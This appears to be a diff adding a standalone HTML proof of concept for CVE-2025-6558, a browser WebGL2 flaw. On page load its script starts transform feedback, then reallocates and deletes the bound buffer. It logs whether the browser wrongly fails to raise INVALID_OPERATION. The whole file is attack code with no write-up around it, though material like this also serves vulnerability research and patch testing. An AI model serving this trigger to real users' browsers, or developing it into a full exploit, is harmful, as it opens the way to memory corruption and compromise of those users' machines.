|
|
@@ -0,0 +1,115 @@ |
|
|
<!DOCTYPE html> |
|
|
<html> |
|
|
<head> |
|
|
<meta charset="utf-8"> |
|
|
<title>CVE-2025-6558 PoC</title> |
|
|
</head> |
|
|
<body> |
|
|
<canvas id="canvas" width="480" height="640"></canvas> |
|
|
<script> |
|
|
function tf_bug() { |
|
|
const canvas = document.getElementById("canvas"); |
|
|
const gl = canvas.getContext("webgl2"); |
|
|
if (!gl) { |
|
|
console.log("WebGL2 is not supported"); |
|
|
return; |
|
|
} |
|
|
|
|
|
function createShader(type, source) { |
|
|
const shader = gl.createShader(type); |
|
|
gl.shaderSource(shader, source); |
|
|
gl.compileShader(shader); |
|
|
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { |
|
|
console.log("Shader compile error: " + gl.getShaderInfoLog(shader)); |
|
|
gl.deleteShader(shader); |
|
|
return null; |
|
|
} |
|
|
return shader; |
|
|
} |
|
|
|
|
|
const vertexShaderSource = `#version 300 es |
|
|
in float a; |
|
|
out float b; |
|
|
void main() { |
|
|
b = a; |
|
|
gl_Position = vec4(0.0, 0.0, 0.0, 1.0); |
|
|
}`; |
|
|
const fragmentShaderSource = `#version 300 es |
|
|
precision mediump float; |
|
|
out vec4 fragColor; |
|
|
void main() { |
|
|
fragColor = vec4(1.0, 0.0, 0.0, 1.0); |
|
|
}`; |
|
|
|
|
|
const vertexShader = createShader(gl.VERTEX_SHADER, vertexShaderSource); |
|
|
const fragmentShader = createShader(gl.FRAGMENT_SHADER, fragmentShaderSource); |
|
|
|
|
|
const program = gl.createProgram(); |
|
|
gl.attachShader(program, vertexShader); |
|
|
gl.attachShader(program, fragmentShader); |
|
|
|
|
|
gl.transformFeedbackVaryings(program, ["b"], gl.SEPARATE_ATTRIBS); |
|
|
gl.linkProgram(program); |
|
|
|
|
|
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { |
|
|
console.log("Program link error: " + gl.getProgramInfoLog(program)); |
|
|
return; |
|
|
} |
|
|
|
|
|
gl.useProgram(program); |
|
|
console.log("Program created and linked successfully"); |
|
|
|
|
|
const buffer = gl.createBuffer(); |
|
|
gl.bindBuffer(gl.TRANSFORM_FEEDBACK_BUFFER, buffer); |
|
|
gl.bindBufferRange(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer, 0, 4); |
|
|
|
|
|
gl.bufferData(gl.TRANSFORM_FEEDBACK_BUFFER, 8, gl.STATIC_DRAW); |
|
|
console.log("Buffer created and bound"); |
|
|
|
|
|
const transformFeedback = gl.createTransformFeedback(); |
|
|
gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); |
|
|
gl.bindBufferRange(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer, 0, 4); |
|
|
|
|
|
gl.beginTransformFeedback(gl.POINTS); |
|
|
console.log("Transform feedback begun"); |
|
|
|
|
|
let error = gl.getError(); |
|
|
if (error !== gl.NO_ERROR) { |
|
|
console.log("Error before buffer modification: " + error); |
|
|
return; |
|
|
} |
|
|
|
|
|
// TEST 1 |
|
|
console.log("TEST 1"); |
|
|
gl.bufferData(gl.TRANSFORM_FEEDBACK_BUFFER, 8, gl.STATIC_DRAW); |
|
|
gl.flush(); |
|
|
|
|
|
// Deleting the buffer during transform feedback doesn't have any affect. |
|
|
gl.bindBuffer(gl.TRANSFORM_FEEDBACK_BUFFER, buffer); |
|
|
gl.deleteBuffer(buffer); |
|
|
|
|
|
error = gl.getError(); |
|
|
if (error === gl.INVALID_OPERATION) { |
|
|
console.log("[-] glBufferData correctly generated GL_INVALID_OPERATION"); |
|
|
} else if (error === gl.NO_ERROR) { |
|
|
console.log("[+] glBufferData should have generated GL_INVALID_OPERATION but didn't"); |
|
|
} else { |
|
|
console.log("[!] glBufferData generated error: " + error); |
|
|
} |
|
|
|
|
|
gl.endTransformFeedback(); |
|
|
gl.deleteTransformFeedback(transformFeedback); |
|
|
gl.deleteBuffer(buffer); |
|
|
gl.deleteProgram(program); |
|
|
gl.deleteShader(vertexShader); |
|
|
gl.deleteShader(fragmentShader); |
|
|
|
|
|
console.log("End of testcase"); |
|
|
} |
|
|
|
|
|
window.onload = function() { |
|
|
tf_bug(); |
|
|
}; |
|
|
</script> |
|
|
</body> |
|
|
</html> |